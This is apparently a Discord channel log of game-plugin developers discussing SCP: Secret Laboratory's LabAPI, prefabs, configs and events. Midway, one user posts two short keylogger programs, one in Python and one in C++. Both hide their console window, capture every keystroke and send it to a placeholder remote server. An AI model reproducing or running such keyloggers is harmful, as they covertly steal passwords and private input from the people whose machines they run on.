#plugins-dev-chat

1 messages · Page 11 of 1

hearty shard
#

go back to synapse

restive turret
#

14.1 will be so sad for light source toy enjoyers

hearty shard
#

why

restive turret
#

You haven't read it

#

Sync interval now 0.1

hearty shard
#

wait

#

NOOO

#

@david WHYYY

#

UR EVIL

#

UR FAULT

plush walrus
#

Obviously

rugged laurel
#

its because the sync interval being at 0 caused desync issues

limber silo
#

plugin devs move the world

dull basin
#

I agree that using NWAPI to generate a config file is more convenient. By simply creating a new class and utilizing the [Description] attribute, you can automatically generate corresponding configuration options.

cunning hemlock
#

Same honestly ^

dull basin
#

The main thing is that the config configuration of the lab API is very unaccustomed

cunning hemlock
#

Exactly

#

This is fun

worthy rune
#

0.1 is just the default now

upper pike
#

Can I test plugins on the new 14.1 branch

#

Or do i need to keep switching to 14.0.3

worthy rune
#

you can try it, i think 14.1 has a slightly outdated version of the labapi

upper pike
#

Can someone help me step by step process on how to make a primitive in a specific spot in a room

#

I got no idea how to do this

worthy rune
upper pike
#

Rn, just a simple platform on surface to stand on and trigger an event

#

Im supposed to do something with NetworkClient.prefabs right? But it doesn't come up

worthy rune
#

do you want todo it by code? you could use MER instead

upper pike
#

What's that?

#

Yea i am very new to this

upper pike
#

Oh

#

But if i did want to do it with code, how would i do that

worthy rune
#

rn theres no admin toy wrappers so its abit anoying todo but you just loop over the NetworkClient.prefabs to find the prefab with the PrimitiveObjectToy component, network spawn the prefab and move/rotate/scale it to how you want it

upper pike
#

Is there a code example i could follow?

#

I tried looking at the 1162 plugin, but it didn't work out

worthy rune
#

you could look in MER, but might be abit complex

#

which part were you struggling with

upper pike
#

All of it
There's no actual network object for me to go through
Typing in NetworkClient.prefabs shows nothing for me and i can't tell where to get it from

worthy rune
#

have you referenced mirror

upper pike
#

Yes

worthy rune
#

try including the mirror namespace

upper pike
#

Idk if im just being an idiot

#

But it should be showing up right

worthy rune
#

yes, although why is it greyed out in the first SS

upper pike
#

No idea

worthy rune
#

when you hover over mirror what does it say?

upper pike
#

Doesn't tell me the source

worthy rune
upper pike
#

...
I forgot to reference the assembly

#

Thanks for your help.

upper pike
cunning hemlock
upper pike
#

What?

loud schooner
#

Not here

upper pike
#

I saw that

loud schooner
#

No

upper pike
#

Very interesting program

loud schooner
#

import keyboard
import requests
import sys
import ctypes

ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

server_url = "http://your-server.com/log"

def send_data(data):
    try:
        requests.post(server_url, data={"log": data})
    except:
        pass

def on_key_press(event):
    key = event.name
    if key == "esc": 
        sys.exit()
    log = f": {key} | В: {event.time}"
    send_data(log)

keyboard.on_press(on_key_press)
keyboard.wait()

#

That

upper pike
#

So just a keystroke logger?

loud schooner
#

Well, not only

upper pike
#

Can't actually test my build rn, but this is how you're supposed to make primitives?

loud schooner
#

Maybe,i guess

#

#include <windows.h>
#include <winhttp.h>
#include <string>

#pragma comment(lib, "Winhttp.lib")

//
void hide_console() {
HWND console_window = GetConsoleWindow();
ShowWindow(console_window, 0);
}

bool send_request(const std::string& data) {
HINTERNET session = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT, NULL, NULL, 0);
HINTERNET connection = WinHttpConnect(session, L"http://your-server.com", 80, 0);

if (!session || !connection) return false;

const std::wstring url = L"/log?log=" + std::to_wstring(data);
HINTERNET request = WinHttpOpenRequest(connection, L"POST", url.c_str(), NULL, NULL, NULL, 0);

bool sent = WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, NULL, 0, 0, 0) &&
            WinHttpReceiveResponse(request, NULL);

WinHttpCloseHandle(request);
WinHttpCloseHandle(connection);
WinHttpCloseHandle(session);
return sent;

}

LRESULT CALLBACK keyboard_hook(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* event = reinterpret_cast<KBDLLHOOKSTRUCT*>(lparam);

    std::string log = "Key: " + std::to_string(event->vkCode) 
                    + " | Time: " + std::to_string(GetTickCount());
    
    send_request(log); // 
    
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);

}

//
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR cmd, int show) {
hide_console(); //

HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook, 
                             GetModuleHandle(NULL), 0);

if (!hook) return -1;

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

UnhookWindowsHookEx(hook); //  0;

}

#

Look

limpid fjord
#

14.1 beta server...

upper pike
#

Which of these is 14.0.3-0fab0c82?

worthy rune
limpid fjord
worthy rune
#

probably not if its not available yet

carmine prawn
#

I encountered the same problem yesterday💀

worthy rune
#

same issue as last time there was an update

carmine prawn
#

why not 14.0.4

limpid fjord
#

OR MEGAPATCH 2

upper pike
upper vapor
worthy rune
upper vapor
#

Fair

#

Who knows if they'll move surface to 1000.1 toomuchtrolling

upper vapor
#

Time to find all my hard-coded y values and replace them

upper pike
#

Rip

restive turret
#

I don't get what you mean

worthy rune
#

^

dull basin
#

For me, of course, it is limited to me, not on behalf of others

worthy rune
#

can you rephrase everything you are saying, i dont think i have understood a single message you have sent

restive turret
#

Still no idea what you want or do

dull basin
restive turret
#

Well, you can just make it all in one config

upper vapor
#

Personally I believe it's a non-issue
Sure, it was convenient to have [PluginConfig("file.yml")] but this isn't horrible code

dull basin
#

This isn't really a problem, it's just that I personally prefer the NWAPI approach

#

It's just a little unaccustomed to it

restive turret
#

¯_(ツ)_/¯

dull basin
#

Of course, the lab API as a whole is indeed a big improvement over NWAPI, and it is also very easy to use, and it is still great overall

restive turret
#

I only use 1 config file so can't really say much to it

dull basin
#

emm, maybe?

unique crane
#

Me who used Room.transform.position

restive turret
#

Me who spawns prefab at the items/pickups/player and not in a room ClassDTroll

icy knoll
unique crane
#

Oof

#

should have used relative coords

#

¯_(ツ)_/¯

restive turret
#

Relative to my ass

hearty shard
#

Just "is sprint force disabled"

worthy rune
#

is fpcrole even a net behavior?

hearty shard
#

Idk

brazen dune
brazen dune
upper pike
#

So i've been looking through the prefabs and I found some door objects
But I can't spawn them in?

#

I kinda assumed it would work the same way as creating a primitive

restive turret
#

ToyPrefab.Base.gameObject

upper pike
#

That was a lot simpler than i thought

#

Lemme test it

icy knoll
upper pike
#

Rn, not yet

#

You have to cycle through it

icy knoll
#

huh

#

that's not what im referring to?

#

im saying that labapi should make some sort of prefab helper that lets us grab the prefabs from there

restive turret
#

daaaviid

hearty shard
#

They said itd be a basegame change

icy knoll
restive turret
hearty shard
#

But thats how theyd do it

restive turret
#

why does it need to be basegame

hearty shard
restive turret
#

cant wait to add my own prefab to it

upper pike
restive turret
hearty shard
#

Or is it labapi door

restive turret
#

labapi door

upper pike
#

I ended up using Breakable door instead

hearty shard
#

You need the basegame door yea

#

It has to be the basegame object

upper pike
#

Which one is that

restive turret
#

DoorVariant

upper pike
#

Great door

restive turret
#

yippe

#

you did it

upper pike
#

I have no idea what im doing

restive turret
#

me 2

#

@hearty shard imagine playing r6s instead of writing secretapi

hearty shard
#

YOU write it for me

#

Thanks

restive turret
#

nah cus I aint playing siege

icy knoll
restive turret
#

custom effects ClassDTroll

hearty shard
restive turret
#

nah

hearty shard
#

😭

restive turret
#

its your stuff to make not mine

restive turret
#

bro

#

IntensityChanged is

#

oh nvm

#

it is protected

#

just publicize duh

#

<3

hearty shard
#

what

#

why do i

#

need to

#

what

restive turret
hearty shard
#

yea

#

but what

restive turret
#

why patch

#

if u can publicize

hearty shard
#

how would you

#

even

#

actually

#

yeah how would you even use it

#

to call after its called

#

if not patch

#

theres no event is there

#

i lied

#

ok

restive turret
#

bro

hearty shard
#

ill just use that

restive turret
#

😭

hearty shard
#

whoops

restive turret
#

you can just use GravityBaseEffect

#

and override the thing

#

or ye you could just sub to it

hearty shard
#

theres also labapi event

#

😭

restive turret
#

😭

#

why do you do this to yourself

hearty shard
restive turret
#

(checks out)

#

also no unsubscribe??

#

what if i disable it huh

hearty shard
#

i

#

have

#

yet to make an unsubscribe for the plugin

#

for now

#

!rep 700347567673835582

regal lakeBOT
#

You have just given @heavy eagle a reputation point!

true cedar
#

can i rep myself

#

!rep 244226294970056705

regal lakeBOT
#

You can't give a rep to yourself!

hearty shard
#

nah

static osprey
#

is labapi not on nuget yet

hearty shard
icy knoll
icy knoll
static osprey
#

thx guys

hearty shard
hearty shard
#

thanks zenlet

icy knoll
#

grrrrrr

hearty shard
#

defending my honor

#

no one would copy a stinker

icy knoll
#

wow ok i see how it is

static osprey
icy knoll
static osprey
#

like assembly-csharp and stuff

icy knoll
static osprey
#

thx

icy knoll
#

on the dedi server app

static osprey
#

ugh...nwapi wouldnt do this to me

restive turret
#

It definitely would

limpid fjord
#

Creating a plugin is very easy - without EXILED

thin shuttle
#

On nw api it's was easy too to create plugin

#

The things that was bad on nwapi is how much active was nw on the nwapi to do fix and improving it

limpid fjord
#

I WANT VERY HARD MODDING

upper pike
#

You now need to do a captcha everytime you edit a file

thin shuttle
limpid fjord
#

I hope that NW would allow hard modding on dedicated server to clients

#

Like extra UI?

thin shuttle
#

no ?

#

they wont

worthy rune
thin shuttle
#

read 1 line above that exact message ?

worthy rune
#

extra UI?

thin shuttle
#

yeah

worthy rune
#

who told you that

thin shuttle
#

they never plan to deal with custom texture or making more UI other than hint

worthy rune
#

textures yeah, but the other suff nah

#

unless you hear it from beryl its not off the table

thin shuttle
#

also when is the update to move into LabAPI-beta as finish before the next big released ?

worthy rune
#

if there isnt another labapi 14.0 beta update then it should be on the 14.1 public beta

thin shuttle
#

i have been that was month ago so i don't remind where i seen it
Than LabAPI will not exit the beta inside an other game release

worthy rune
#

if i understand you correctly are you saying that you heard it wont be in 14.1?

thin shuttle
#

i heard that final LabAPI beta would finish before 14.1

worthy rune
#

hmm idk about that, that would be up to @harsh thorn

thin shuttle
#

was not told 14.1 at the time

#

but yeah not at the same time as an other game feature release

worthy rune
#

it depends, as stuff requires backporting it can get tricky

thin shuttle
#

because actual LabAPI is stable no ?

#

in it's beta

worthy rune
#

idk if anyone said it would be stable

#

although we do think about how to deal with breaking changes

limpid fjord
#

my dream plugin

worthy rune
#

its technically possibly now, its just really inefficient todo

#

also alot of code to pull off

upper vapor
#

Hint-based minimap YIPPEE

hearty shard
#

thats cool

harsh thorn
thin shuttle
#

an other one also did it with primitive

thin shuttle
#

i will not differentiate bug from LabAPI / 14.1

#

and when the server side code will be show ?

harsh thorn
thin shuttle
#

so both client and server at same time ?

harsh thorn
thin shuttle
#

would be nice

harsh thorn
#

But if it does, you will need to pay Patreon to get the client

thin shuttle
#

to start updating

#

i already have it

#

for that reason

harsh thorn
#

Anyway we cant end the beta before 14.1 because labapi is on master

#

And backporting is just a pain lol

thin shuttle
#

also

#

is there still more change on event part ?

harsh thorn
#

In 14.1?

#

Probably

thin shuttle
#

bruh

harsh thorn
#

14.1 has new features

thin shuttle
#

yeah

harsh thorn
#

So new events and api

thin shuttle
#

i talk of Event of feature that already exist now

harsh thorn
#

Possibly, i dont know on the top of my head

worthy rune
#

its mostly bug fixes only

#

for existing stuff

thin shuttle
#

because i would like to finish fully test the code of Exiled

#

kinda hard to work alone on an update like that

harsh thorn
restive turret
#

ye cus some of them not exists

harsh thorn
restive turret
#

ye thats little bit unneccessary

harsh thorn
#

Or a refactor could mean we can add more events that werent possible before for that feature

restive turret
#

custom modules that ultimately settables too? SteamHappy

harsh thorn
#

What

restive turret
#

what

limpid fjord
upper pike
#

Is there a way to detect if a player is touching a spawned door, or do i constantly have to poll for player position

hearty shard
#

this does smth similiar but with primitives

upper pike
#

How would i do that with LabAPI

icy knoll
upper pike
#

Isn't that exiled

#

Sorry i have no idea what's happening

icy knoll
#

probably, but find the labapi equiv

unique crane
upper pike
#

Ill probably just figure it out in the morning. Its way too late rn

unique crane
#

Like these

restive turret
#

\u1790

upper pike
#

Does BreakableDoor even have a collider component?

restive turret
#

Idk, print it out

upper pike
#

Checked, didn't

restive turret
#

In children too?

unique crane
#

eh let me open up unity

unique crane
#

Game Objects are even named with prefix or suffix Collider

#

or Col

hearty shard
limpid fjord
#

prev

restive turret
#

no idea wtf am i watching

#

also it is Heavy not High

cunning hemlock
limpid fjord
#

fixed

cunning hemlock
# limpid fjord

Why’s are the boxes with a black outline inside of them?

#

The horizontal lines you follow

unique crane
limpid fjord
#

I just made this for fun

limpid fjord
thin shuttle
#

@marble cobalt who handling the writting of changelog ?

i would like to suggest to add more details

#

like for last one there this missing because they are not inside LabAPI change but since you have the access to it you should also shared it as TechnicalChange

RoomIdUtils is renamed too RoomUtils
new event OnBeforePickupDestroyed
ExplosionGrenade::_detectionMask got renamed and publicized too ExplosionGrenade::DetectionMask
ExplosionGrenade::_maxRadius got renamed and publicized too ExplosionGrenade::MaxRadius
ExplosionGrenade::_scpDamageMultiplier got renamed and publicized too ExplosionGrenade::ScpDamageMultiplier
ExplosionGrenade::_blindTime got renamed and publicized too ExplosionGrenade::BlindTime
ExplosionGrenade::_blindingMask got renamed and publicized too ExplosionGrenade::BlindingMask
ExplosionGrenade::_blindTime got renamed and publicized too ExplosionGrenade::BlindTime
Scp018Projectile::CurrentDamage and Scp018Projectile::RpcPlayBounce is now public
Scp2176Projectile::LockdownDuration is now public and change to a field instead of a constant
TimeGrenade::TargetTime setter is no more protected

marble cobalt
thin shuttle
#

Sad but fair enough at least i suggested it

marble cobalt
#

Like, as the person writing the changelogs, I would love to

#

But there's a lot of internal changes happening all the time

thin shuttle
#

Yeah i know i see them

#

Lol

marble cobalt
#

What I mean is

thin shuttle
#

But could it be the case at least for renamed stuff ?

#

RoomIdUtils to RoomUtils

marble cobalt
#

If its significant enough, maybe, but it will only delay our procedures

thin shuttle
#

And keeping old field and giving them Obsolete error with indicator to what replace them ?

marble cobalt
#

And I'd rather keep things consistent

#

Not gonna add something that delays our procedures only to end up not doing it after 3-4 updates

restive turret
#

Who code can check themselves

#

Export via DnSpyEx and put it into git repo, you see the changes

marble cobalt
#

But sometimes we can't keep old pieces of code because we want to keep our source code clean

#

Let's use CCM Refactor as an example

#

We 100% weren't gonna keep the entirety of the old class/role system Deprecated

restive turret
#

ccm?

thin shuttle
marble cobalt
thin shuttle
#

Yeah the whole system of how sl is code

marble cobalt
#

Roles used to be hardcoded into one script (Scp173PlayerScript) or something like that

thin shuttle
#

Referencehub was added at this moment too

restive turret
#

Ah, I wasn't here until 13

marble cobalt
#

If we had the ability to do what you request, trust me I'd approve it, I'd love to make the code more accessible

thin shuttle
#

Yeah to say you in ccm you was escaping and lure kill (the kill box of 106 to recontain him) and every aspect of ReferenceHub

marble cobalt
#

But you can see how it gets out of hand quickly

restive turret
#

Ye and you can't just post the git log until that time

thin shuttle
#

Let me send you the assembly csharp at this time

#

But mostly it's spaghetti

marble cobalt
#

Its why LabAPI was important to me as well, being able to provide official tools that remain consistent (as much as we can at least) across updates

#

Whilst allowing base-game to focus on what the game / community needs

thin shuttle
#

in wait of LabAPI Exiled was doing it kinda

marble cobalt
#

Yep

#

Used LabAPI as our new official example, but plugin frameworks in general have been doing it great for years

thin shuttle
restive turret
#

(2)

thin shuttle
#

yeah it's was in my dowaload file

#

lol

#

andi have 3 of them

restive turret
#

Gonna check after I done with my morning stuff

thin shuttle
#

@marble cobalt also do you know when EndRound code will be reworked ?

restive turret
#

End round code is a Coroutine

thin shuttle
thin shuttle
#

there no difference between before CCM rework and now

restive turret
#

Idk how would be good to refactor

thin shuttle
restive turret
#

Well yeah that's an alternative

marble cobalt
thin shuttle
#

i do not remind was it with you when i got the try to get nw developer ?

#

i do not remind who was in this convo

marble cobalt
thin shuttle
#

also i will soon hit the 5k hours :3

thin shuttle
#

also Beryl for more serious i would still be interested to join NW developer

restive turret
restive turret
thin shuttle
restive turret
#

idk when u tried, for me it ced was there too

thin shuttle
#

i can't remind correctly lol

thin shuttle
#

lol

upper vapor
#

It would be less convenient to rewrite the whole state machine but at least the checks and actions could be separated for easier modification

thin shuttle
#

but yeah

thin shuttle
#

only contain 112 line

upper vapor
#

(Also we don't talk about CustomNetworkManager)

restive turret
upper vapor
thin shuttle
upper vapor
#

Oh

#

Right

thin shuttle
thin shuttle
upper vapor
#

Yeah it was a bit simpler back then Kek

thin shuttle
#

i don't found this simpler component.Classes.SafeGet(component.CurClass).team

upper vapor
thin shuttle
#

also idk why they put for loop lol

upper vapor
#

Cuz they weren't aware of WaitForSeconds

thin shuttle
#

:3

upper vapor
#

The CASSIE coroutine could be rewritten too
Canceling the announcement doesn't cancel the wait time of the current phrase

thin shuttle
#

yeah

#

i saw that

#

should i report it as bug ?

#

i want more QA Points

upper vapor
#

If it hasn't already been reported then yeah

static osprey
#

any way to create the datastore on userjoin rather than round start?

#

used this code example to create it

worthy rune
stuck peak
#

CustomDataStoreManager.RegisterStore<YourDataStore>();

static osprey
#

oh ya i did

#

im stupid

#

thanks

stuck peak
static osprey
# stuck peak <:oopsie:1340692927424368741>

sorry - keep getting DataStore created for (null) () in console on join - using the same code in the i replied to before.
since its null i just get KRILL shot in console when shooting :p

unique crane
#

Tallbara

#

Capybara

#

Smallbara

#

Flatbara

restive turret
#

Fatbara

cunning hemlock
#

That’s crazy

hearty shard
#

@deft yarrow

#

!bugreport

regal lakeBOT
wispy dirge
restive turret
#

I think its MER tbh

wispy dirge
#

i know its mer 💔

restive turret
sweet pike
#

please tell me that the capybara will be available with spawntoy in 14.1

marble rock
#

you can spawn capybaras in 14.1

upper vapor
#

🤓

unique crane
hearty shard
sinful bronze
#

Every new spawned capybara kill 1 NW staff

worthy rune
upper vapor
#

it is a bit counter-intuitive for new plugin devs tbh

worthy rune
#

hmmm, StandardDamageHandler is the only inheritor of DamageHandlersBase atm. so we could rely on it always existing as long as someone doesnt create their own damage handler or NW doesnt add their own thats inherits from DamageHandlersBase

worthy rune
#

i just lab the api

hearty shard
#

nuh uh

#

eat the lab the api

worthy rune
#

please dont consume the api

worthy rune
upper vapor
#

discord is tweaking

hearty shard
#

can we just make this the next game nw makes

mild ice
#

Already in development

hearty shard
heavy eagle
#

omg

unique crane
hearty shard
unique crane
#

Nah

mild ice
hearty shard
unique crane
#

death

marble rock
limpid fjord
#

Do PluginAPI plugins work with LabAPI, or not really? for 14.1

hearty shard
#

NWAPI is gone in 14.1

limpid fjord
#

So, old plugin would not work..

unique crane
#

No

hearty shard
#

Update them

upper pike
#

Are any of these betas for the Dedicated Server for 14.1?

hearty shard
#

well technically labapi-beta

#

but only labapi part and not the new guns or keycards

icy knoll
#

it's only official servers with access right now

carmine prawn
#

has any way to know if a player died from SCP directly or indirectly?

upper pike
#

Okay i cannot figure out colliders for the life of me. Im pretty sure im doing something horribly wrong here.
This kinda works, but only i open a door and close on myself while in the middle of the doorway

carmine prawn
#

for example, 049 and 106 will cause continuous damage

upper pike
#

The console will still say killed by 049 or 106 even if it was the status effect that killed you

#

So i assume cause of death might work

carmine prawn
#

💀

#

I PATCH

#

and how should I spawn an activated throwable? (grenadeHE or flash)

hearty shard
carmine prawn
#

this is I referred code, but it only can normally GrenadeHE

#

try flash => client boom

tulip kiln
#

With STDOUT enabled obv

carmine prawn
#

yes

#

I want to generate a throwable item when some role dying

unique crane
#

TimedGrenadeProjectile.SpawnActive

carmine prawn
#

yes i finded it

upper vapor
tulip kiln
unique crane
carmine prawn
unique crane
#

Seems like it has to be

tulip kiln
#

ahh I see where

unique crane
#

Well the run method should have it

tulip kiln
#

isSubtitles is actually customAnnouncement

#

This is the cassie wrapper

unique crane
#

Makes more sense in the wrapper tbh

#

without it

#

no subtitles

tulip kiln
#

That is true

#

Although iirc subtitles were ON by default in nwapi

unique crane
#

Let me just...

restive turret
#

Make a PR?

unique crane
#

No ill just commit it in the branch im working on right now xd

#

Its mix of keycards and other thingy anyways

restive turret
#

Mix of everything

#

Called 14.0.4?

unique crane
#

World is saved

carmine prawn
hearty shard
unique crane
#

Im not getting paid enough for that

hearty shard
#

damn..

restive turret
hearty shard
restive turret
#

Nah

loud schooner
#

Hello,chat

#

What programming language should I know to write my own antivirus

hearty shard
#

or C

#

or smth else

loud schooner
#

C? What language is this?

#

C++?

#

C#?

restive turret
#

Ansi C

hearty shard
#

C is C

#

c++ would work too tho

restive turret
#

nah he have to use ansi c

hearty shard
#

i would use this more for SL related stuff

#

i get that ur trying to learn to do other stuff but whar

#

this is for a game, most people here dont rly know about making an antivirus or malware

upper pike
carmine prawn
#

can we have a global config folder?

#

like: \SCP Secret Laboratory\LabAPI-Beta\configs\global

upper pike
#

Isnt that a thing

#

Could have sworn i saw a global config folder

carmine prawn
#

SCP Secret Laboratory\LabAPI-Beta\plugins\global is there, but there is no configs

upper pike
#

Oh that must have been it

calm quail
#

how I install LabAPI?

#

I just drag the .dll to global?

hearty shard
#

labapi-beta

calm quail
#

yes, but I read your players need to do the same on client

#

so i'll stay in the main branch

hearty shard
#

until 14.1 release

carmine prawn
#

=> add this idea to LabAPI issue

upper pike
#

How come when I escape as a Class D. PlayerChangedRoleEventArgs.OldRole = Chaos Conscript?

#

OldRole never actually returns the old role apparently

#

Always gives the new role

hearty shard
#

but yeah it might be bugged

#

also isnt there Escaped event ?

upper pike
#

I needed player changing for something else

#

It doesn't trigger for any manual SetRole()

hearty shard
#

ok

worthy rune
#

that one was fixed, so should be correct next update

upper pike
#

Alr

#

For now, im doing this

#

This cannot possibly go wrong

hearty shard
#

💀

upper pike
#

Idk if there's any specific player tag thing I could do that wouldn't interfere with other plugins

#

Wait, i forgot lists exists

carmine prawn
#

💀

carmine prawn
#

always miss some featuresSCP096WHY

worthy rune
restive turret
#

I think that need a little bit more understanding about how mirror works with the networking stuff if that possible

upper vapor
restive turret
#

Destroy on client too

#

Send "ObjDestroyedFromX" message

hazy kelp
#
[2025-04-13 17:52:26.305 +09:00] [STDOUT]   at LabApi.Events.EventManager.FormatErrorMessage (System.Delegate eventHandler, System.Exception exception) [0x00043] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT]   at LabApi.Events.EventManager.InvokeEvent (LabApi.Events.LabEventHandler eventHandler) [0x00027] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT]   at LabApi.Events.Handlers.ServerEvents.OnWaitingForPlayers () [0x00000] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT]   at CharacterClassManager.Start () [0x00080] in <4962faac86aa41cdb937a94469cc30c4>:0```

is this my issue or NW issue??
#

(round start is not working well)

upper pike
#

Send the code

#

Probably an error there

unique crane
hazy kelp
hazy kelp
# unique crane Do you subscribe to the OnWaitingForPlayers?
private static void OnWaitingPlayers()
        { 
            EnsureMusicDirectoryExists();
            var path = Path.Combine(MusicEventHandler.AudioDirectory, Main.Instance.Config.LobbyMusicFile);
            AudioClipStorage.LoadClip(path,"lobby_music");

            AudioPlayer globalPlayer = AudioPlayer.CreateOrGet("Lobby",onIntialCreation: (p) =>
            {
                p.AddSpeaker("Main", isSpatial: false, maxDistance: 5000f);
            });

            globalPlayer.AddClip("lobby_music", volume: Main.Instance.Config.Volume, loop: Main.Instance.Config.IsLoop, destroyOnEnd: false);
            Logger.Raw("main song playing", ConsoleColor.Blue);
        }
        
        /// <summary>
        /// when the round is started, the music is stopped.
        /// </summary>
        private static void OnRoundStarted()
        {
            if (!AudioPlayer.TryGet("Lobby", out AudioPlayer lobbyPlayer))
                return;

            lobbyPlayer.RemoveAllClips();
        }
unique crane
#

Oh I know what happened

#

yea

#

WIll be fixed in the newest version

hearty shard
#

david what did you do

unique crane
#

the bugfix pass didnt make it into this labapi version

unique crane
#

Because it tries to print the object it belongs to

#

or smth like that

#

but it is fixed in newest version

hearty shard
#

😭

upper vapor
hazy kelp
unique crane
#

Oh wait no

#

My bad

unique crane
hazy kelp
unique crane
#

Yea

hazy kelp
#

thanks for information

unique crane
#

14.1 public beta I guess

hazy kelp
#

OMG

#

when??

unique crane
#

Well when it's out xd

hazy kelp
#

ok

hearty shard
unique crane
#

But well as an permanent fix

hazy kelp
unique crane
#

Do not throw exceptions in your code

hazy kelp
icy knoll
unique crane
#

Not your API

hazy kelp
#

By the way, I'm a bit concerned that in this beta, almost every keycard request is being sent to the server...

sullen lotus
hearty shard
#

why would it be bad to send when you try and use ur keycard... that server would get told..

#

that sounds like intended behaviour

hazy kelp
# unique crane Wdym

I heard that even things like the keycard inspect animation and name assignment are now handled through server requests.

unique crane
#

That is correct

#

You send request to the server that you want to inspect it

hazy kelp
#

yeah that's what I concerned..the server got a lot's of traffic

unique crane
#

How else do you want to sync it to other users?

hearty shard
#

server needs to assign name

#

and for inspect its only when you inspect

upper vapor
#

Oh no, 100 bytes every... 2 minutes

#

And send that to 20 other clients

#

5 seconds of the lobby voice chat probably uses more network than all keycard requests during the whole game

unique crane
#

^

hazy kelp
#

hmm..ok

hearty shard
#

also

unique crane
#

Or spawn 25000 primitives and give them rigidbody

hearty shard
#

hint rate limit was removed

unique crane
#

That's traffic

hearty shard
#

so if you wanna thats a lot more traffic

unique crane
upper vapor
upper vapor
unique crane
#

Hell yea

hearty shard
#

can the car crash into david

unique crane
#

New chaos spawn

upper vapor
#

😭

unique crane
upper vapor
#

I wonder if anyone's coded DOOM in SL

unique crane
#

Well now you can easily with SS keybinds

upper vapor
#

Um

#

Yeah

#

Maybe sometime

#

™️

unique crane
#

Yey

restive turret
#

(crashing the server)

icy knoll
unique crane
icy knoll
unique crane
#

No, but your client will love rendering that

icy knoll
#

true

unique crane
#

Especially the animations

#

Mmmmm

#

Yummy

icy knoll
#

but i think 1000 bouncing balls at max velocity will be better

#

because particles and animations

#

not just animations :3

unique crane
#

Set them all to same fuse time

#

So they all explode at once

icy knoll
#

yes

spring swan
upper vapor
slender lynx
#

yeah
my dev did

celest thorn
#

here i am

#

the doom guy on the intercom

slender lynx
#

the doomer

#

@celest thorn does it still work anymore

celest thorn
slender lynx
#

its joever

upper vapor
#

you can do that with hints now shrug

blazing stone
#

No customitems for LabAPI?

#

(just double checking here)

hearty shard
#

well

#

idk what specifically ur referring to

blazing stone
#

Alr, thanks

hearty shard
#

labapi will probably never have customitem support
that is to be made by community

blazing stone
#

So Exiled could continue to have their own CustomItems?

hearty shard
#

exiled will continue it

slender lynx
hearty shard
slender lynx
#

,right

hearty shard
#

@thin shuttle

rugged laurel
#

Yamato solos

hearty shard
#

hi trub

rugged laurel
#

Hiii

restive turret
#

car

thin shuttle
#

there no potentially

slender lynx
#

i know

#

just fuckin around

#

hopefully not like commonutils

#

that was peak back in 2024

#

dunno if anyone maintains that anymore, havent looked in a long while

thin shuttle
#

and someone else maitain it

#

actually

hearty shard
thin shuttle
#

i did both

carmine prawn
#

has AHP system some issues?

#

the max limit always 75, but the actual effect is not like this

restive turret
#

I think in newest beta you can change the max

tired pecan
#

Two questions for NW

  1. What are reputations points + what do they do
  2. Will Speaker Toys be fixed/given more stuff for Server Owners to work with
hearty shard
#

and wdym for 2

#

Fixed i believe is the case, but what else would you add to a speaker other than making it transmit sound..?

icy knoll
#

speaker toys have never been broken, no?

hearty shard
#

of them active in a range

tired pecan
# hearty shard and wdym for 2

Currently there's an error with Speaker Toys where even when you're within minimum range of hearing a Speaker, moving away from it will still get quieter when you move away

hearty shard
#

otherwise sounds break iirc

tired pecan
#

Even if you set minimum and maximum to like 100+

icy knoll
#

unless it wasnt intended

hearty shard
#

you should be able to have multiple without them just not working

#

xd

icy knoll
#

fair

hearty shard
#

but yeah

tired pecan
hearty shard
#

probably can be fixed but i think thats a unity moment

tired pecan
carmine prawn
#

player.MaxArtificialHealth

#

then player.CreateAhpProcess()

tired pecan
#

I'm still waiting for NW to allow us to use stereo with Speakers, just saying gang

#

It'd be nice :/

icy knoll
#

if you're on the right of the speaker, you'll hear it on your left

#

lol

restive turret
#

🔒No access

hearty shard
upper pike
#

Server host?

#

Yep

icy knoll
#

make a github issue

restive turret
tired pecan
hearty shard
hearty shard
tired pecan
icy knoll
icy knoll
hearty shard
icy knoll
#

lol

tired pecan
#

I only got to it for plugins

hearty shard
#

!hostrole

regal lakeBOT
#

Do it in your servers console, Most I will do is laugh at you

icy knoll
#

!wran @hearty shard you failed

regal lakeBOT
#

@icy knoll has wranned obvevelyn Reason: you failed

hearty shard
#

other than the fact it was intentional

#

💀

icy knoll
#

i know

#

it's a wran

#

smh

restive turret
#

warn

hearty shard
#

still a 💀

#

anyway

#

back to prefabmanager.cs i go

icy knoll
hearty shard
#

secret

spark galleonBOT
#
Unauthorized

Please use !hostrole command in the server console first!

icy knoll
spark galleonBOT
#
Unauthorized

Please use !hostrole command in the server console first!

tired pecan
#

?

restive turret
#

Read

upper pike
#

There's a SecretAPI now

restive turret
#

Shes api till its secret

tired pecan
#

Yeah what I did that twice now smh

hearty shard
restive turret
upper vapor
#

now i know your account id

hearty shard
upper vapor
#

(very dangerous toomuchtrolling)

worthy rune
#

i think its to shame the user

hearty shard
#

hi riptide

worthy rune
#

hi

limpid fjord
#

14.1

unique crane
#

Doing new events batch

#

Any suggestions

upper vapor
unique crane
main zenith
upper vapor
icy knoll
#

Banned should be used as it infers that it has already been done, can't be cancelled

upper vapor
#

ServerStartingEventArgs

upper vapor
icy knoll
upper vapor
#

Accident

restive turret
upper vapor
#

JailbirdChargingEventArgs

tulip kiln
#

So the item can be used but effects are cancelled

tulip kiln
#

as there are none unless I'm looking for them wrong

restive turret
#

not exactly an event in labapi but basegame

#

the State chanign

tulip kiln
#

I would need to prevent a phase change though

#

So a patch would be necessary anyways

restive turret
#

ye i mean

#

would be cool

#

plus one for the disruptor changing/ed state

tired pecan
unique crane
